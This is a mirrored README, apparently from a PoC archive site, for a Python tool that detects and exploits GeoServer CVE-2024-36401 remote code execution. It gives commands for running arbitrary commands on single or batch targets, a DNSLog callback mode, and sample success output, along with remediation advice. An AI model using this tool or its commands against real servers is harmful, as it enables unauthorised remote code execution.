POC详情: b71fb6032343068f91f774509ae5ec3b2795bea8

来源
关联漏洞
标题: GeoServer 安全漏洞 (CVE-2024-36401)
描述:GeoServer是一个用 Java 编写的开源软件服务器。允许用户共享和编辑地理空间数据。 GeoServer 存在安全漏洞,该漏洞源于不安全地将属性名称解析为 XPath 表达式,可能导致远程代码执行。
描述
本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。
介绍
> ⚠️ **免责声明:** 此工具仅供安全研究与合法授权测试使用,请勿用于非法用途。使用者需自行承担法律责任。

README Version: \[[English](README_EN.md) | [中文](README.md)\]

## 漏洞描述

本脚本是针对 [GeoServer](https://geoserver.org/) 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。

---

## 环境依赖

请确保你的运行环境已安装以下依赖项:

- Python 3.x
- 第三方库:
  - `requests`
  - `lxml`

可通过以下命令安装所需依赖:

```bash
pip install requests lxml
```

---

## 使用说明

### 单个目标检测

```bash
python poc.py -u http://target.com -d dnslog.example.com
```

或指定要执行的命令:

```bash
python poc.py -u http://target.com -c "touch /tmp/vulntest"
```

### 批量检测多个目标

准备一个包含多个目标 URL 的文本文件(每行一个):

```bash
python poc.py -uf targets.txt -d dnslog.example.com
```

或指定命令:

```bash
python poc.py -uf targets.txt -c "id"
```

详细使用说明:
[详细使用说明文档](漏洞探测脚本详细使用文档.pdf)


---

## 参数说明

| 参数                | 描述                                                         |
| ------------------- | ------------------------------------------------------------ |
| `-u`, `--url`       | 指定单个目标地址                                             |
| `-uf`, `--url-file` | 指定包含多个目标 URL 的文件路径                              |
| `-d`, `--dnslog`    | 指定 DNSLog 地址                                             |
| `-c`, `--command`   | 指定要在目标系统上执行的命令(如:`whoami`, `id`, `curl` 等) |

> ⚠️ 注意:`-d` 和 `-c` 参数不可同时使用。

---

## 输出示例

```text
[INFO] 爬取到3个有效的 Typenames,开始漏洞探测
[INFO] 目标: http://example.com
[INFO] 执行命令: whoami
[INFO] DNSLOG地址:

[INFO] 正在尝试 typeName: topp:states -> whoami
[+] 命令疑似成功执行!目标: http://example.com 命令: whoami
```

---

## 脚本特性

- 修复Nuclei POC中由于Typenames写死,造成漏洞验证失败的问题。
- 自动化的爬取所有Typenames信息,并循环测试可以利用的Typenames。
- 支持使用 -c 参数执行命令。
- 支持传入URL文件,批量测试漏洞是否存在。

---

## 安全建议

- 及时升级 GeoServer 至官方最新版本。
- 对公网暴露的 GeoServer 实例进行访问控制。
- 配置防火墙限制 `/geoserver/wfs` 接口的访问来源。

---

## 贡献

欢迎提交 Issue 或 Pull Request 来帮助改进此项目。

---

## 许可证

该项目采用 [MIT 许可证](LICENSE),你可以自由修改、分发、商业使用,但必须保留版权声明。

---

文件快照

[4.0K] /data/pocs/b71fb6032343068f91f774509ae5ec3b2795bea8 ├── [1.1K] LICENSE ├── [6.4K] poc_CN.py ├── [6.6K] poc_EN.py ├── [3.4K] README_EN.md ├── [2.9K] README.md └── [674K] 漏洞探测脚本详细使用文档.pdf 0 directories, 6 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。